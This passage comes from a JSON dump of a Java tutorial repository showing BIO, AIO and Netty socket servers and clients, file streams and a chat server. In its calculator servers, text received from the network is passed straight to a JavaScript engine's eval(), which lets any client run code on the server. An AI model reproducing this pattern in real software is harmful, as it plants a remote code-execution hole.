    "content": "package com.jun.base.io.aio;\n\npublic class Server {\n    private static int DEFAULT_PORT = 12345;\n    private static AsyncServerHandler serverHandle;\n    public volatile static long clientCount = 0;\n    public static void start(){\n        start(DEFAULT_PORT);\n    }\n    public static synchronized void start(int port){\n        if(serverHandle!=null)\n            return;\n        serverHandle = new AsyncServerHandler(port);\n        new Thread(serverHandle,\"Server\").start();\n    }\n    public static void main(String[] args){\n        Server.start();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/Test.java",
    "content": "package com.jun.base.io.aio;\n\n\nimport java.util.Scanner;\n\nimport com.jun.base.io.aio.client.Client;\n\n/**\n * 测试方法\n * @author Wujun\n * @version 1.0\n */\npublic class Test {\n    //测试主方法\n    @SuppressWarnings(\"resource\")\n    public static void main(String[] args) throws Exception{\n        //运行服务器\n        Server.start();\n        //避免客户端先于服务器启动前执行代码\n        Thread.sleep(100);\n        //运行客户端\n        Client.start();\n        System.out.println(\"请输入请求消息：\");\n        Scanner scanner = new Scanner(System.in);\n        while(Client.sendMsg(scanner.nextLine()));\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/client/AsyncClientHandler.java",
    "content": "package com.jun.base.io.aio.client;\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.AsynchronousSocketChannel;\nimport java.nio.channels.CompletionHandler;\nimport java.util.concurrent.CountDownLatch;\npublic class AsyncClientHandler implements CompletionHandler<Void, AsyncClientHandler>, Runnable {\n    private AsynchronousSocketChannel clientChannel;\n    private String host;\n    private int port;\n    private CountDownLatch latch;\n    public AsyncClientHandler(String host, int port) {\n        this.host = host;\n        this.port = port;\n        try {\n            //创建异步的客户端通道\n            clientChannel = AsynchronousSocketChannel.open();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    @Override\n    public void run() {\n        //创建CountDownLatch等待\n        latch = new CountDownLatch(1);\n        //发起异步连接操作，回调参数就是这个类本身，如果连接成功会回调completed方法\n        clientChannel.connect(new InetSocketAddress(host, port), this, this);\n        try {\n            latch.await();\n        } catch (InterruptedException e1) {\n            e1.printStackTrace();\n        }\n        try {\n            clientChannel.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    //连接服务器成功\n    //意味着TCP三次握手完成\n    @Override\n    public void completed(Void result, AsyncClientHandler attachment) {\n        System.out.println(\"客户端成功连接到服务器...\");\n    }\n    //连接服务器失败\n    @Override\n    public void failed(Throwable exc, AsyncClientHandler attachment) {\n        System.err.println(\"连接服务器失败...\");\n        exc.printStackTrace();\n        try {\n            clientChannel.close();\n            latch.countDown();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    //向服务器发送消息\n    public void sendMsg(String msg){\n        byte[] req = msg.getBytes();\n        ByteBuffer writeBuffer = ByteBuffer.allocate(req.length);\n        writeBuffer.put(req);\n        writeBuffer.flip();\n        //异步写\n        clientChannel.write(writeBuffer, writeBuffer,new WriteHandler(clientChannel, latch));\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/client/Client.java",
    "content": "package com.jun.base.io.aio.client;\n\n\nimport java.util.Scanner;\npublic class Client {\n    private static String DEFAULT_HOST = \"127.0.0.1\";\n    private static int DEFAULT_PORT = 12345;\n    private static AsyncClientHandler clientHandle;\n    public static void start(){\n        start(DEFAULT_HOST,DEFAULT_PORT);\n    }\n    public static synchronized void start(String ip,int port){\n        if(clientHandle!=null)\n            return;\n        clientHandle = new AsyncClientHandler(ip,port);\n        new Thread(clientHandle,\"Client\").start();\n    }\n    //向服务器发送消息\n    public static boolean sendMsg(String msg) throws Exception{\n        if(msg.equals(\"q\")) return false;\n        clientHandle.sendMsg(msg);\n        return true;\n    }\n    @SuppressWarnings(\"resource\")\n    public static void main(String[] args) throws Exception{\n        Client.start();\n        System.out.println(\"请输入请求消息：\");\n        Scanner scanner = new Scanner(System.in);\n        while(Client.sendMsg(scanner.nextLine()));\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/client/ReadHandler.java",
    "content": "package com.jun.base.io.aio.client;\n\n\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.AsynchronousSocketChannel;\nimport java.nio.channels.CompletionHandler;\nimport java.util.concurrent.CountDownLatch;\npublic class ReadHandler implements CompletionHandler<Integer, ByteBuffer> {\n    private AsynchronousSocketChannel clientChannel;\n    private CountDownLatch latch;\n    public ReadHandler(AsynchronousSocketChannel clientChannel,CountDownLatch latch) {\n        this.clientChannel = clientChannel;\n        this.latch = latch;\n    }\n    @Override\n    public void completed(Integer result,ByteBuffer buffer) {\n        buffer.flip();\n        byte[] bytes = new byte[buffer.remaining()];\n        buffer.get(bytes);\n        String body;\n        try {\n            body = new String(bytes,\"UTF-8\");\n            System.out.println(\"客户端收到结果:\"+ body);\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n    }\n    @Override\n    public void failed(Throwable exc,ByteBuffer attachment) {\n        System.err.println(\"数据读取失败...\");\n        try {\n            clientChannel.close();\n            latch.countDown();\n        } catch (IOException e) {\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/client/WriteHandler.java",
    "content": "package com.jun.base.io.aio.client;\n\n\n\nimport java.io.IOException;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.AsynchronousSocketChannel;\nimport java.nio.channels.CompletionHandler;\nimport java.util.concurrent.CountDownLatch;\npublic class WriteHandler implements CompletionHandler<Integer, ByteBuffer> {\n    private AsynchronousSocketChannel clientChannel;\n    private CountDownLatch latch;\n    public WriteHandler(AsynchronousSocketChannel clientChannel,CountDownLatch latch) {\n        this.clientChannel = clientChannel;\n        this.latch = latch;\n    }\n    @Override\n    public void completed(Integer result, ByteBuffer buffer) {\n        //完成全部数据的写入\n        if (buffer.hasRemaining()) {\n            clientChannel.write(buffer, buffer, this);\n        }\n        else {\n            //读取数据\n            ByteBuffer readBuffer = ByteBuffer.allocate(1024);\n\n            clientChannel.read(readBuffer,readBuffer,new ReadHandler(clientChannel, latch));\n        }\n    }\n    @Override\n    public void failed(Throwable exc, ByteBuffer attachment) {\n        System.err.println(\"数据发送失败...\");\n        try {\n            clientChannel.close();\n            latch.countDown();\n        } catch (IOException e) {\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/Calculator.java",
    "content": "package com.jun.base.io.bio;\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineManager;\nimport javax.script.ScriptException;\n\npublic class Calculator {\n\n    private final static ScriptEngine jse = new ScriptEngineManager().getEngineByName(\"JavaScript\");\n    public static Object cal(String expression) throws ScriptException {\n        return jse.eval(expression);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/Client.java",
    "content": "package com.jun.base.io.bio;\n\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.Socket;\n/**\n * 阻塞式I/O创建的客户端\n * @author Wujun\n * @version 1.0\n */\npublic class Client {\n    //默认的端口号\n    private static int DEFAULT_SERVER_PORT = 12345;\n    private static String DEFAULT_SERVER_IP = \"127.0.0.1\";\n    public static void send(String expression){\n        send(DEFAULT_SERVER_PORT,expression);\n    }\n    public static void send(int port,String expression){\n        System.out.println(\"算术表达式为：\" + expression);\n        Socket socket = null;\n        BufferedReader in = null;\n        PrintWriter out = null;\n        try{\n            socket = new Socket(DEFAULT_SERVER_IP,port);\n            in = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n            out = new PrintWriter(socket.getOutputStream(),true);\n            out.println(expression);\n            System.out.println(\"___结果为：\" + in.readLine());\n        }catch(Exception e){\n            e.printStackTrace();\n        }finally{\n            //一下必要的清理工作\n            if(in != null){\n                try {\n                    in.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n                in = null;\n            }\n            if(out != null){\n                out.close();\n                out = null;\n            }\n            if(socket != null){\n                try {\n                    socket.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n                socket = null;\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/ReadMe.txt",
    "content": "\n\n    服务端提供IP和监听端口，客户端通过连接操作想服务端监听的地址发起连接请求，通过三次握手连接，如果连接成功建立，双方就可以通过套接字进行通信。\n\n    传统的同步阻塞模型开发中，ServerSocket负责绑定IP地址，启动监听端口；Socket负责发起连接操作。连接成功后，双方通过输入和输出流进行同步阻塞式通信。\n\n    简单的描述一下BIO的服务端通信模型：采用BIO通信模型的服务端，通常由一个独立的Acceptor线程负责监听客户端的连接，它接收到客户端连接请求之后为每个客户端创建一个新的线程进行链路处理没处理完成后，通过输出流返回应答给客户端，线程销毁。即典型的一请求一应答通宵模型。\n\n\n\n该模型最大的问题就是缺乏弹性伸缩能力，当客户端并发访问量增加后，服务端的线程个数和客户端并发访问数呈1:1的正比关系，Java中的线程也是比较宝贵的系统资源，线程数量快速膨胀后，系统的性能将急剧下降，随着访问量的继续增大，系统最终就死-掉-了。"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/ServerBetter.java",
    "content": "package com.jun.base.io.bio;\n\n\nimport java.io.IOException;\nimport java.net.ServerSocket;\nimport java.net.Socket;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n/**\n * BIO服务端源码__伪异步I/O\n * @author Wujun\n * @version 1.0\n */\npublic final class ServerBetter {\n    //默认的端口号\n    private static int DEFAULT_PORT = 12345;\n    //单例的ServerSocket\n    private static ServerSocket server;\n    //线程池 懒汉式的单例\n    private static ExecutorService executorService = Executors.newFixedThreadPool(6);\n    //根据传入参数设置监听端口，如果没有参数调用以下方法并使用默认值\n    public static void start() throws IOException{\n        //使用默认值\n        start(DEFAULT_PORT);\n    }\n    //这个方法不会被大量并发访问，不太需要考虑效率，直接进行方法同步就行了\n    public synchronized static void start(int port) throws IOException{\n        if(server != null) return;\n        try{\n            //通过构造函数创建ServerSocket\n            //如果端口合法且空闲，服务端就监听成功\n            server = new ServerSocket(port);\n            System.out.println(\"服务器已启动，端口号：\" + port);\n            //通过无线循环监听客户端连接\n            //如果没有客户端接入，将阻塞在accept操作上。\n            while(true){\n                Socket socket = server.accept();\n                //当有新的客户端接入时，会执行下面的代码\n                //然后创建一个新的线程处理这条Socket链路\n                executorService.execute(new ServerHandler(socket));\n            }\n        }finally{\n            //一些必要的清理工作\n            if(server != null){\n                System.out.println(\"服务器已关闭。\");\n                server.close();\n                server = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/ServerHandler.java",
    "content": "package com.jun.base.io.bio;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.Socket;\n\n/**\n * 客户端线程\n * @author Wujun\n * 用于处理一个客户端的Socket链路\n */\npublic class ServerHandler implements Runnable{\n    private Socket socket;\n    public ServerHandler(Socket socket) {\n        this.socket = socket;\n    }\n    @Override\n    public void run() {\n        BufferedReader in = null;\n        PrintWriter out = null;\n        try{\n            in = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n            out = new PrintWriter(socket.getOutputStream(),true);\n            String expression;\n            String result;\n            while(true){\n                //通过BufferedReader读取一行\n                //如果已经读到输入流尾部，返回null,退出循环\n                //如果得到非空值，就尝试计算结果并返回\n                if((expression = in.readLine())==null) break;\n                System.out.println(\"服务器收到消息：\" + expression);\n                try{\n                    result = Calculator.cal(expression).toString();\n\n                }catch(Exception e){\n                    result = \"计算错误：\" + e.getMessage();\n                }\n                out.println(result);\n            }\n        }catch(Exception e){\n            e.printStackTrace();\n        }finally{\n            //一些必要的清理工作\n            if(in != null){\n                try {\n                    in.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n                in = null;\n            }\n            if(out != null){\n                out.close();\n                out = null;\n            }\n            if(socket != null){\n                try {\n                    socket.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n                socket = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/ServerNormal.java",
    "content": "package com.jun.base.io.bio;\n\n\nimport java.io.IOException;\nimport java.net.ServerSocket;\nimport java.net.Socket;\n/**\n * BIO服务端源码\n * @author Wujun\n * @version 1.0\n */\npublic final class ServerNormal {\n    //默认的端口号\n    private static int DEFAULT_PORT = 12345;\n    //单例的ServerSocket\n    private static ServerSocket server;\n    //根据传入参数设置监听端口，如果没有参数调用以下方法并使用默认值\n    public static void start() throws IOException{\n        //使用默认值\n        start(DEFAULT_PORT);\n    }\n    //这个方法不会被大量并发访问，不太需要考虑效率，直接进行方法同步就行了\n    public synchronized static void start(int port) throws IOException{\n        if(server != null) return;\n        try{\n            //通过构造函数创建ServerSocket\n            //如果端口合法且空闲，服务端就监听成功\n            server = new ServerSocket(port);\n            System.out.println(\"服务器已启动，端口号：\" + port);\n            //通过无线循环监听客户端连接\n            //如果没有客户端接入，将阻塞在accept操作上。\n            while(true){\n                Socket socket = server.accept();\n                //当有新的客户端接入时，会执行下面的代码\n                //然后创建一个新的线程处理这条Socket链路\n                new Thread(new ServerHandler(socket)).start();\n            }\n        }finally{\n            //一些必要的清理工作\n            if(server != null){\n                System.out.println(\"服务器已关闭。\");\n                server.close();\n                server = null;\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/bio/Test.java",
    "content": "package com.jun.base.io.bio;\n\n\nimport java.io.IOException;\nimport java.util.Random;\n/**\n * 测试方法\n * @author Wujun\n * @version 1.0\n */\npublic class Test {\n    //测试主方法\n    public static void main(String[] args) throws InterruptedException {\n        //运行服务器\n        new Thread(new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    ServerBetter.start();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }).start();\n        //避免客户端先于服务器启动前执行代码\n        Thread.sleep(100);\n        //运行客户端\n        char operators[] = {'+','-','*','/'};\n        Random random = new Random(System.currentTimeMillis());\n        new Thread(new Runnable() {\n            @SuppressWarnings(\"static-access\")\n            @Override\n            public void run() {\n                while(true){\n                    //随机产生算术表达式\n                    String expression = random.nextInt(10)+\"\"+operators[random.nextInt(4)]+(random.nextInt(10)+1);\n                    Client.send(expression);\n                    try {\n                        Thread.currentThread().sleep(random.nextInt(1000));\n                    } catch (InterruptedException e) {\n                        e.printStackTrace();\n                    }\n                }\n            }\n        }).start();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/io/ReByte.java",
    "content": "package com.jun.base.io.io;\n\nimport java.io.*;\nimport java.util.Arrays;\n\n/*\n\n 字节流\n 1：字节输入流\n InputStream ;\n        FileInputStream;\n        BufferedInputStream;\n\n1）FileInputStream\n           文件字节输入流：一切文件在系统中都是以字节的形式保存的，无论你是文档文件、视频文件、音频文件...，需要读取这些文件都可以用FileInputStream去读取其保存在存储介质（磁盘等）上的字节序列。\n           FileInputStream在创建时通过把文件名作为构造参数连接到该文件的字节内容，建立起字节流传输通道。\n           然后通过 read()、read(byte[])、read(byte[],int begin,int len) 三种方法从字节流中读取 一个字节、一组字节。\n\n2）BufferedInputStream\n           带缓冲的字节输入流：上面我们知道文件字节输入流的读取时，是直接同字节流中读取的。由于字节流是与硬件（存储介质）进行的读取，所以速度较慢。而CPU需要使用数据时通过read()、read(byte[])读取数据时就要受到硬件IO的慢速度限制。我们又知道，CPU与内存发生的读写速度比硬件IO快10倍不止，所以优化读写的思路就有了：在内存中建立缓存区，先把存储介质中的字节读取到缓存区中。CPU需要数据时直接从缓冲区读就行了，缓冲区要足够大，在被读完后又触发fill()函数自动从存储介质的文件字节内容中读取字节存储到缓冲区数组。\n           BufferedInputStream 内部有一个缓冲区，默认大小为8M，每次调用read方法的时候，它首先尝试从缓冲区里读取数据，若读取失败（缓冲区无可读数据），则选择从物理数据源 （譬如文件）读取新数据（这里会尝试尽可能读取多的字节）放入到缓冲区中，最后再将缓冲区中的内容返回给用户.由于从缓冲区里读取数据远比直接从存储介质读取速度快，所以BufferedInputStream的效率很高。\n\n\n\n2, 字节输出流\nOutputStream;\n        FileOutputStream;\n        BufferedOutputStream\n\n */\npublic class ReByte {\n\n    public static void main(String[] args) {\n\n        input();\n\n\n\n\n    }\n\n\n    /**\n     * 字节流读取文本的时候，中文容易乱码。还不好处理。\n     */\n    public static void input(){\n        //1、定义要使用的文件\n        File file = new File(\"C:\\\\windows-version.txt\");\n        try {\n            //文件存在的时候不会执行，不存在的时候会执行\n            file.createNewFile();\n\n            //2、定义字节输入流指定为文件输入流\n            InputStream input  = new FileInputStream(file);\n            //InputStream input  = new FileInputStream(\"C:\\\\windows-version.txt\");\n            byte[] b = new byte[(int) file.length()]; // file.length()获取文件的长度返回long类型\n            //System.err.println(input.read());\n            int len = input.read(b);\n            input.close();\n\n            //3、验证输入结果\n            System.out.println(\"文件的内容长度为 : \" + len);\n            System.out.println(\"文件的内容为: \" + new String(b));\n            System.out.println(\"=== : \" + file.length());\n\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n\n\n    public static void out() {\n\n        String  str = \"阿弥陀佛\";\n\n        try {\n            FileOutputStream fos = new FileOutputStream(\"D:\\\\1.txt\");\n            fos.write(str.getBytes(\"UTF-8\"));\n\n            fos.close();////注释掉就文件还有内容。因为是操作的是物理磁盘。\n\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/io/ReCharacter.java",
    "content": "package com.jun.base.io.io;\n\nimport java.io.*;\n\n/*\n\n 字符流\n\n\n */\npublic class ReCharacter {\n\n    public static void main(String[] args) {\n        inputNoCache();\n    }\n\n    /**\n     * 使用字符流输入，字符流输出。使用了字符缓冲区\n     */\n    public static void input() {\n\n        try {\n            FileReader fr2 = new FileReader(\"D:\\\\2.txt\");\n\n            char[] buf2 = new char[1024];\n            int len2 = fr2.read(buf2);\n            String myStr2 = new String(buf2, 0, len2);\n            System.out.println(myStr2);\n\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n    /**\n     * 使用字符流输入，字符流输出。使用了字符缓冲区\n     */\n    public static void out() {\n\n        String  str = \"阿弥陀佛\";\n\n        FileWriter fw = null;\n        try {\n            fw = new FileWriter(\"D:\\\\2.txt\");\n            fw.write(str);\n            //fw.flush();\n            fw.close();//注释掉就文件就没有内容。因为是操作的缓冲，fw.flush()才会有。\n\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n    /****\n     *\n     *【使用字符流输入，字符流输出，没有使用缓冲区，直接读行】\n     *\n     *\n     */\n\n    public static void outNoCache() {\n\n        BufferedReader br = null;\n        try {\n            br = new BufferedReader(new InputStreamReader(\n                    new FileInputStream(\"D:\\\\3.txt\"), \"utf-8\"));\n            String myStr3 = br.readLine();\n            br.close();\n            System.out.println(myStr3);\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n    public static void inputNoCache() {\n        String  str = \"阿弥陀佛\";\n\n        try {\n            PrintWriter pw = new PrintWriter(\"D:\\\\3.txt\", \"utf-8\");\n\n            pw.write(str);\n\n            pw.close();\n\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/io/io.txt",
    "content": "https://blog.csdn.net/qq_34207422/article/details/76149026"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/Calculator.java",
    "content": "package com.jun.base.io.netty;\n\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineManager;\nimport javax.script.ScriptException;\npublic enum Calculator {\n    Instance;\n    private final static ScriptEngine jse = new ScriptEngineManager().getEngineByName(\"JavaScript\");\n    public Object cal(String expression) throws ScriptException{\n        return jse.eval(expression);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/Client.java",
    "content": "package com.jun.base.io.netty;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\nimport java.util.Scanner;\npublic class Client implements Runnable{\n    static ClientHandler client = new ClientHandler();\n    public static void main(String[] args) throws Exception {\n        new Thread(new Client()).start();\n        @SuppressWarnings(\"resource\")\n        Scanner scanner = new Scanner(System.in);\n        while(client.sendMsg(scanner.nextLine()));\n    }\n    @Override\n    public void run() {\n        String host = \"127.0.0.1\";\n        int port = 9090;\n        EventLoopGroup workerGroup = new NioEventLoopGroup();\n        try {\n            Bootstrap b = new Bootstrap();\n            b.group(workerGroup);\n            b.channel(NioSocketChannel.class);\n            b.option(ChannelOption.SO_KEEPALIVE, true);\n\n            b.handler(new ChannelInitializer<SocketChannel>() {\n                @Override\n                public void initChannel(SocketChannel ch) throws Exception {\n                    ch.pipeline().addLast(client);\n                }\n            });\n            ChannelFuture f = b.connect(host, port).sync();\n            f.channel().closeFuture().sync();\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/ClientHandler.java",
    "content": "package com.jun.base.io.netty;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\nimport java.io.UnsupportedEncodingException;\npublic class ClientHandler extends ChannelInboundHandlerAdapter {\n    ChannelHandlerContext ctx;\n    /**\n     * tcp链路简历成功后调用\n     */\n    @Override\n    public void channelActive(ChannelHandlerContext ctx) throws Exception {\n        this.ctx = ctx;\n    }\n    public boolean sendMsg(String msg){\n        System.out.println(\"客户端发送消息：\"+msg);\n        byte[] req = msg.getBytes();\n        ByteBuf m = Unpooled.buffer(req.length);\n        m.writeBytes(req);\n        ctx.writeAndFlush(m);\n        return msg.equals(\"q\")?false:true;\n    }\n    /**\n     * 收到服务器消息后调用\n     * @throws UnsupportedEncodingException\n     */\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws UnsupportedEncodingException {\n        ByteBuf buf = (ByteBuf) msg;\n        byte[] req = new byte[buf.readableBytes()];\n        buf.readBytes(req);\n        String body = new String(req,\"utf-8\");\n        System.out.println(\"服务器消息：\"+body);\n    }\n    /**\n     * 发生异常时调用\n     */\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n        cause.printStackTrace();\n        ctx.close();\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/Server.java",
    "content": "package com.jun.base.io.netty;\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\npublic class Server {\n    private int port;\n    public Server(int port) {\n        this.port = port;\n    }\n    public void run() throws Exception {\n        EventLoopGroup bossGroup = new NioEventLoopGroup();\n        EventLoopGroup workerGroup = new NioEventLoopGroup();\n        try {\n            ServerBootstrap b = new ServerBootstrap();\n            /*\n\n            对于ServerBootstrap来说,处理socket连接的线程就是Boos线程,就是ServerBootstrap的group方法的第一个参数.服务端接受了socket连接求后，会产生一个channel（一个打开的socket对应一个打开的channel），\n            并把这个channel交给Worker线程来处理,,就是ServerBootstrap的group方法的第二个参数，boss线程则继续处理socket的请求。如果客户端数目不是很多的情况,Boos线程和Worker线程可以是同一个。\n\n\n             */\n            b.group(bossGroup, workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .option(ChannelOption.SO_BACKLOG, 1024)\n                    .childOption(ChannelOption.SO_KEEPALIVE, true)\n                    .childHandler(new ChannelInitializer<SocketChannel>() {\n                        @Override\n                        public void initChannel(SocketChannel ch) throws Exception {\n                            ch.pipeline().addLast(new ServerHandler());\n                        }\n                    });\n            ChannelFuture f = b.bind(port).sync();\n            System.out.println(\"服务器开启：\"+port);\n            f.channel().closeFuture().sync();\n        } finally {\n            workerGroup.shutdownGracefully();\n            bossGroup.shutdownGracefully();\n        }\n    }\n    public static void main(String[] args) throws Exception {\n        int port;\n        if (args.length > 0) {\n            port = Integer.parseInt(args[0]);\n        } else {\n            port = 9090;\n        }\n        new Server(port).run();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/ServerHandler.java",
    "content": "package com.jun.base.io.netty;\n\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\nimport java.io.UnsupportedEncodingException;\n\npublic class ServerHandler extends ChannelInboundHandlerAdapter {\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws UnsupportedEncodingException {\n        ByteBuf in = (ByteBuf) msg;\n        byte[] req = new byte[in.readableBytes()];\n        in.readBytes(req);\n        String body = new String(req,\"utf-8\");\n        System.out.println(\"收到客户端消息:\"+body);\n        String calrResult = null;\n        try{\n            calrResult = Calculator.Instance.cal(body).toString();\n        }catch(Exception e){\n            calrResult = \"错误的表达式：\" + e.getMessage();\n        }\n        ctx.write(Unpooled.copiedBuffer(calrResult.getBytes()));\n    }\n    @Override\n    public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {\n        ctx.flush();\n    }\n    /**\n     * 异常处理\n     */\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n        cause.printStackTrace();\n        ctx.close();\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/SimpleChatServer.java",
    "content": "package com.jun.base.io.netty.chat;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\n\npublic class SimpleChatServer {\n\n    private int port;\n\n    public SimpleChatServer(int port) {\n        this.port = port;\n    }\n\n    public void run() throws Exception {\n\n        EventLoopGroup bossGroup = new NioEventLoopGroup(); // (1)\n        EventLoopGroup workerGroup = new NioEventLoopGroup();\n        try {\n            ServerBootstrap b = new ServerBootstrap(); // (2)\n            b.group(bossGroup, workerGroup)\n                    .channel(NioServerSocketChannel.class) // (3)\n                    .childHandler(new SimpleChatServerInitializer())  //(4)\n                    .option(ChannelOption.SO_BACKLOG, 128)          // (5)\n                    .childOption(ChannelOption.SO_KEEPALIVE, true); // (6)\n\n            System.out.println(\"SimpleChatServer 启动了\");\n\n            // 绑定端口，开始接收进来的连接\n            ChannelFuture f = b.bind(port).sync(); // (7)\n\n            // 等待服务器  socket 关闭 。\n            // 在这个例子中，这不会发生，但你可以优雅地关闭你的服务器。\n            f.channel().closeFuture().sync();\n\n        } finally {\n            workerGroup.shutdownGracefully();\n            bossGroup.shutdownGracefully();\n\n            System.out.println(\"SimpleChatServer 关闭了\");\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        int port;\n        if (args.length > 0) {\n            port = Integer.parseInt(args[0]);\n        } else {\n            port = 8080;\n        }\n        new SimpleChatServer(port).run();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/netty/chat/SimpleChatServerHandler.java",
    "content": "package com.jun.base.io.netty.chat;\n\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\nimport io.netty.channel.group.ChannelGroup;\nimport io.netty.channel.group.DefaultChannelGroup;\nimport io.netty.util.concurrent.GlobalEventExecutor;\n\npublic class SimpleChatServerHandler extends SimpleChannelInboundHandler<String> { // (1)\n\n    public static ChannelGroup channels = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);\n\n    @Override\n    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {  // (2)\n        Channel incoming = ctx.channel();\n\n        // Broadcast a message to multiple Channels\n        channels.writeAndFlush(\"[SERVER] - \" + incoming.remoteAddress() + \" 加入\\n\");\n\n        channels.add(ctx.channel());\n    }\n\n    @Override\n    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {  // (3)\n        Channel incoming = ctx.channel();\n\n        // Broadcast a message to multiple Channels\n        